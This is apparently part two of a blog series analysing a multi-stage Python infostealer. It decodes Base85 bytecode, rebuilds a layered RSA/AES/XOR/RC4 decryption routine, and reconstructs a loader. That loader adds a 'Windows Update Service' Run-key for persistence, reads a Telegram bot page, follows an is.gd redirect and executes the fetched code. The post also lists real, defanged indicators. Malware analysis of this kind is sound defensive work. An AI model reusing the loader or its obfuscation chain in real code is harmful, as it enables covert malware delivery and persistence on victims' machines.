Introduction

In this section, we shift from traditional file-based malware to payloads that operate entirely in memory. We’ll explore how the malware decrypts its internal components, loads Python bytecode dynamically, and uses custom cryptographic loaders to evade detection.

This stage marks a significant escalation in sophistication moving beyond simple obfuscation into multi-layered, in-memory execution chains that are harder to detect, analyse, and contain.


Decoding Stage Three: Base85 Bytecode

We left off after discovering a base85-encoded string, which appears to be our next stage in the malware’s execution chain.

Normally, I’d decode this using CyberChef, but in this case, it doesn’t support the custom Base85 alphabet used by the malware. (We won’t dive too deep here, but if you inspect the base64.py file bundled with the malware, you’ll see it uses a custom alphabet.)

Instead of decoding it manually, we’ll let the malware do the work by modifying the original command like so:

import dis
dis.dis(__import__('marshal').dumps(__import__('zlib').decompress(__import__('base64').b85decode("c$|ee*>>VcmVoh+&b9W+s_L$Gdue00b....."))))

We’ve made two key changes:

  • Redirected from exec to Python’s built-in dis module to disassemble the bytecode.
  • Swapped out marshal.loads() for marshal.dumps() to keep the bytecode in a state dis can process.

Result: Disassembled Bytecode for Stage 3

image

If you’ve used tools like Ghidra or IDA , this output might feel familiar, it’s Python’s equivalent of assembly. While it’s often possible to decompile Python bytecode back into readable source (with the right magic bytes), I couldn’t get it to work in this case. So instead, we’ll be working directly with this lower-level “assembly-style” output.

As we go through the disassembled output, we can note a few important strings and operations, such as:

126 LOAD_CONST               3 (('b64decode',))
....
178 LOAD_CONST               7 (('AES', 'DES3', 'PKCS1_OAEP'))
....
198 LOAD_CONST               8 (('RSA',))
....
280 LOAD_CONST              15 ('decompress')
....
288 LOAD_CONST              17 ('rc4')
....
296 LOAD_CONST              19 ('aes_decrypt')
....
304 LOAD_CONST              21 ('xor')
....
328 LOAD_METHOD             16 (b64decode)
330 LOAD_CONST              26 ('LS0tLS1CRUdJTiBSU0EgUFJ.....
334 STORE_NAME              49 (private_key)
....
344 LOAD_NAME               48 (hybrid_decrypt)
346 LOAD_CONST              29 ('c$@+K1OoexoWdBsm1!pkF>7T}ij
348 LOAD_NAME               49 (private_key)
352 STORE_NAME              51 (code)
....
354 LOAD_NAME               50 (runner)
356 LOAD_NAME               51 (code)

This isn’t the full disassembly just enough to give you a snapshot of how we step through bytecode to figure out what the malware is doing.

In this case, we can clearly see it importing several encoding and encryption functions, including:

  • b64decode
  • AES
  • RSA
  • decompress
  • rc4
  • XOR

Following that, there’s a long Base64-encoded string assigned to a variable named private_key. This is passed into a function called hybrid_decrypt, alongside an encrypted string which is saved as code.

Finally, the decrypted code is passed into a function named runner, which as the name suggests executes it.

Bingo, we’ve found Stage 4.


Decrypting Stage 4

This is where things get messy.

Note: This would’ve been much easier if we were able to decompile the bytecode having the original source would have allowed for quick copy-pasting of the decryption functions.

Instead, we’re forced to reconstruct the source code manually by reading through and rebuilding the original decryption logic from the disassembled bytecode.

Below is the disassembly of the hybrid_decrypt function extracted from the bytecode:

Disassembly of <code object hybrid_decrypt at 0x0000024C48E6B9F0, file "<string>", line 42>:
44           0 LOAD_GLOBAL              0 (base64)
	  2 LOAD_METHOD              1 (b85decode)
	  4 LOAD_FAST                0 (base85_encoded_data)
	  6 CALL_METHOD              1
	  8 STORE_FAST               2 (compressed_data)

45          10 LOAD_GLOBAL              2 (decompress)
	 12 LOAD_FAST                2 (compressed_data)
	 14 CALL_FUNCTION            1
	 16 STORE_FAST               3 (encrypted_data)

47          18 LOAD_FAST                3 (encrypted_data)
	 20 LOAD_CONST               0 (None)
	 22 LOAD_CONST               1 (256)
	 24 BUILD_SLICE              2
	 26 BINARY_SUBSCR
	 28 STORE_FAST               4 (rsa_encrypted_key)

48          30 LOAD_FAST                3 (encrypted_data)
	 32 LOAD_CONST               1 (256)
	 34 LOAD_CONST               0 (None)
	 36 BUILD_SLICE              2
	 38 BINARY_SUBSCR
	 40 STORE_FAST               5 (aes_encrypted)

51          42 LOAD_GLOBAL              3 (rsa_decrypt)
	 44 LOAD_FAST                4 (rsa_encrypted_key)
	 46 LOAD_FAST                1 (rsa_private_key)
	 48 CALL_FUNCTION            2
	 50 STORE_FAST               6 (combined_key)

52          52 LOAD_FAST                6 (combined_key)
	 54 LOAD_CONST               0 (None)
	 56 LOAD_CONST               2 (16)
	 58 BUILD_SLICE              2
	 60 BINARY_SUBSCR
	 62 STORE_FAST               7 (rc4_key)

53          64 LOAD_FAST                6 (combined_key)
	 66 LOAD_CONST               2 (16)
	 68 LOAD_CONST               3 (32)
	 70 BUILD_SLICE              2
	 72 BINARY_SUBSCR
	 74 STORE_FAST               8 (xor_key)

54          76 LOAD_FAST                6 (combined_key)
	 78 LOAD_CONST               3 (32)
	 80 LOAD_CONST               4 (48)
	 82 BUILD_SLICE              2
	 84 BINARY_SUBSCR
	 86 STORE_FAST               9 (aes_key)

57          88 LOAD_GLOBAL              4 (aes_decrypt)
	 90 LOAD_FAST                5 (aes_encrypted)
	 92 LOAD_FAST                9 (aes_key)
	 94 CALL_FUNCTION            2
	 96 STORE_FAST              10 (xor_encrypted)

60          98 LOAD_GLOBAL              5 (xor)
	100 LOAD_FAST               10 (xor_encrypted)
	102 LOAD_FAST                8 (xor_key)
	104 CALL_FUNCTION            2
	106 STORE_FAST              11 (rc4_encrypted)

63         108 LOAD_GLOBAL              6 (rc4)
	110 LOAD_FAST               11 (rc4_encrypted)
	112 LOAD_FAST                7 (rc4_key)
	114 CALL_FUNCTION            2
	116 STORE_FAST              12 (decrypted_data)

65         118 LOAD_FAST               12 (decrypted_data)
	120 RETURN_VALUE

Looking closely at the disassembly output, we can see lots of slicing operations a indicating that multiple smaller keys have been combined into one large key, which is RSA-encrypted.

Therefore we need to decrypt the key then slice it into segments, with each slice used for a different layer of decryption.

After a lot of trial and error, running Python over and over again, we’ve reconstructed a working version of the original hybrid_decrypt function:

from Crypto.Cipher import AES, PKCS1_OAEP, ARC4
from Crypto.PublicKey import RSA
import base64
import zlib
import dis
import marshal

privateKey = 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tL........'

cipherText = ('c$@+K1OoexoWdBsm1!pkF>7T}ijW92LAjwj?NX;j........')

def rc4(data, key):
	cipher = ARC4.new(key)
	return cipher.decrypt(data)

def xor(data, key):
	return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

def aes_decrypt(data, key):
	nonce = data[:16]
	cipherText2 = data[16:]
	cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
	return cipher.decrypt(cipherText2)

def rsa_decrypt(data, key):
	rsa_key = RSA.import_key(key)
	cipher = PKCS1_OAEP.new(rsa_key)
	return cipher.decrypt(data)

def hybrid_decrypt(base85_encoded_data, rsa_private_key):
	compressed_data = base64.b85decode(base85_encoded_data)
	encrypted_data = zlib.decompress(compressed_data)
	rsa_encrypted_key = encrypted_data[:256]
	aes_encrypted = encrypted_data[256:]
	
	combined_key = rsa_decrypt(rsa_encrypted_key, rsa_private_key)
	
	rc4_key = combined_key[:16]
	xor_key = combined_key[16:32]
	aes_key = combined_key[32:48]
	
	xor_encrypted = aes_decrypt(aes_encrypted, aes_key)
	rc4_encrypted = xor(xor_encrypted, xor_key)
	decrypted_data = rc4(rc4_encrypted, rc4_key)
	return decrypted_data

# Main
private_key_pem = base64.b64decode(privateKey).decode()
decrypted_payload = hybrid_decrypt(cipherText, private_key_pem)  

dis.dis(marshal.loads(decrypted_payload))

Note:
The individual decryption functions (like rsa_decrypt, aes_decrypt, etc.) were reconstructed from other parts of the disassembly, which aren’t shown above. Just focus on understanding and mapping out the hybrid_decrypt function itself.

I could easily write another blog posts just on how that reconstruction was done but for now, the key takeaway is this:

If you compare the strings and values in the disassembled code with the ones used in the reconstructed Python function, you’ll notice they match up directly. This is how we were able to rebuild the logic behind hybrid_decrypt.


Analysing Stage 4

Running the fully reconstructed hybrid_decrypt function outputs a large block of disassembled bytecode this marks the beginning of Stage 5.

Following the same approach as earlier, I’m going to list out the functions that stand out.

  4 IMPORT_NAME              0 (requests)
  .....
  20 IMPORT_NAME              2 (time)
  .....
  28 IMPORT_NAME              3 (sys)
  ....
  36 IMPORT_NAME              4 (os)
  .....
  44 IMPORT_NAME              5 (winreg)
  .....
  60 LOAD_NAME                4 (os)
  62 LOAD_ATTR                7 (path)
  64 LOAD_METHOD              8 (exists)
  66 LOAD_NAME                4 (os)
  68 LOAD_ATTR                9 (environ)
  70 LOAD_CONST               3 ('PUBLIC')
  .....
  88 LOAD_ATTR                9 (environ)
  90 LOAD_CONST               5 ('COMPUTERNAME')
  ......
  110 LOAD_NAME                5 (winreg)
  112 LOAD_ATTR               14 (HKEY_CURRENT_USER)
  114 LOAD_CONST               6 ('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run')
  ......
  128 LOAD_METHOD             17 (SetValueEx)
  130 LOAD_NAME               16 (key)
  132 LOAD_CONST               7 ('Windows Update Service')
  .....
  140 LOAD_CONST               8 ('cmd /c start ')
  ......
  154 LOAD_CONST              10 ('\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png ')
  ......
  182 LOAD_NAME                1 (re)
  184 LOAD_METHOD             22 (search)
  186 LOAD_CONST              12 ('<meta property="og:description" content="([^"]+)"')
  188 LOAD_NAME                0 (requests)
  190 LOAD_METHOD             23 (get)
  192 LOAD_CONST              13 ('https://t.me/')
  194 LOAD_NAME                3 (sys)
  196 LOAD_ATTR               20 (argv)
  ......
  222 LOAD_METHOD             23 (get)
  224 LOAD_NAME                0 (requests)
  226 LOAD_ATTR               27 (head)
  228 LOAD_CONST              14 ('https://is.gd/')
  230 LOAD_NAME               25 (match)
  232 LOAD_METHOD             28 (group
  234 LOAD_CONST              11 (1)
  ......
  19         290 LOAD_NAME                2 (time)
  292 LOAD_METHOD             33 (sleep)
  294 LOAD_CONST              16 (5)

Converted to source code, it would have looked something like this.
Hopefully, this version is a bit more understandable for the rest of the discussion:

import requests
import re
import time
import sys
import os
import winreg
import uuid

try:
    # Check if a specific file path exists in PUBLIC folder
    public_path = os.environ['PUBLIC']
    computer_name = os.environ['COMPUTERNAME']
    unique_path = os.path.join(
        public_path,
        str(uuid.uuid5(uuid.NAMESPACE_DNS, computer_name)).replace('-', '')
    )

    if not os.path.exists(unique_path):
        # Persistence via registry
        key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
            0,
            winreg.KEY_SET_VALUE
        )

        command = (
            'cmd /c start ' +
            os.path.expandvars('%PUBLIC%') +
            r'\Windows\svchost.exe C:\Users\Public\Windows\Lib\images.png ' +
            sys.argv[1]
        )

        winreg.SetValueEx(
            key,
            'Windows Update Service',
            0,
            winreg.REG_SZ,
            command
        )
        winreg.CloseKey(key)

    # Get the Telegram page
    response = requests.get('https://t.me/' + sys.argv[1])
    match = re.search(r'<meta property="og:description" content="([^"]+)"', response.text)

    if match:
        # Follow the is.gd redirect
        short_id = match.group(1)
        final_url = requests.head('https://is.gd/' + short_id, allow_redirects=True).url
        payload = requests.get(final_url).text

        # Execute downloaded code
        exec(payload)

except Exception as e:
    print(e)
    time.sleep(5)
    # Retry logic (loops back in bytecode)

It first checks for the existence of a very specific folder in C:\Users\Public.
This is most likely used as an infection checker possibly to act as a kill switch if later stages have been executed.

As we continue reviewing the code, we find confirmation:
It sets a registry Run key named Windows Update Service with the following command:

cmd /c \\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png <sys.argv[1]>

If you remember from Stage 2, this points to the Python executable and the initial script, effectively re-launching the malware on reboot.

Further down, we find a regex search applied to the results of a GET request made to a Telegram server.

I’m going to pull out and isolate this section next for a more detailed analysis.

  182 LOAD_NAME                1 (re)
  184 LOAD_METHOD             22 (search)
  186 LOAD_CONST              12 ('<meta property="og:description" content="([^"]+)"')
  188 LOAD_NAME                0 (requests)
  190 LOAD_METHOD             23 (get)
  192 LOAD_CONST              13 ('https://t.me/')
  194 LOAD_NAME                3 (sys)
  196 LOAD_ATTR               20 (argv)

The regex search is targeting a very specific HTML pattern, which looks like this: <meta property="og:description" content="…some text here…">

The full URI took some work to uncover. It’s derived by accessing an attribute passed via sys.argv.

After some frustration, I recalled the string we saw all the way back in Stage 2: ADN_UZJomrp3vPMujoH4bot

This was passed into stage 2 as an argument and it turns out this string is the missing part of the Telegram URL, which forms: https://t[.]me/ADN_UZJomrp3vPMujoH4bot

Sending a curl request to that Telegram URL reveals a large HTML file but the key part is: <meta property="og:description" content="s5xknuj2"> The regex matches on that content value in this case, s5xknuj2.

That matched value becomes the key input in a second GET request to is.gd, which is used as a URL shortener to retrieve more code for execution.

The logic in disassembled form looks like this:

  218 LOAD_NAME               26 (exec)
  222 LOAD_METHOD             23 (get)
  224 LOAD_NAME                0 (requests)
  226 LOAD_ATTR               27 (head)
  228 LOAD_CONST              14 ('https://is.gd/')
  230 LOAD_NAME               25 (match)
  232 LOAD_METHOD             28 (group)

This short, obfuscated redirection flow makes the malware harder to trace and gives the attacker flexibility to update payloads dynamically all without modifying the original lure. They simply update the description on their Telegram bot.


If we curl https://is[.]gd/s5xknuj2 it redirects us to https://paste[.]rs/fVmzS

… it starts the entire process over again delivering a new payload with the same overall structure as Stage 2, but with a different Base85 string: exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c$|c~*|PFlk|y|1XNVIgA|vOF$g0Ys7>c3......"))))

Welcome to Stage 5. But before we dive in, let’s take a quick breather and recap what we’ve covered so far."


Quick Recap: What Have We Found?

What began as a simple phishing lure evolved into a multi-stage Python malware chain featuring:

  • DLL side-loading
  • Execution of Python bytecode via Base85-encoded payloads
  • Multiple layers of encryption and obfuscation
  • Persistence via Windows Registry
  • A clever use of Telegram bot metadata to fetch commands
  • And finally, redirection through URL shorteners to dynamically update payloads

Each layer was designed to evade detection, frustrate analysis, and allow the attacker to push new stages without modifying the earlier ones.


Up Next: Stage 5 – Analysing the Payload

In Part 3, we shift our attention to the fifth and final Python stage, a fully fledged information stealer. We’ll uncover:

  • Credential harvesting from Chrome and Firefox
  • Extraction of cookies, credit cards, 2FA tokens, and more
  • AV enumeration using Windows Management Instrumentation (WMI)
  • Clever exfiltration via Telegram bots
  • Indicators suggesting links to the PXA Stealer family

This is where the campaign reveals its true intent not just execution, but exploitation. Get ready for the deep dive into the weaponised payload.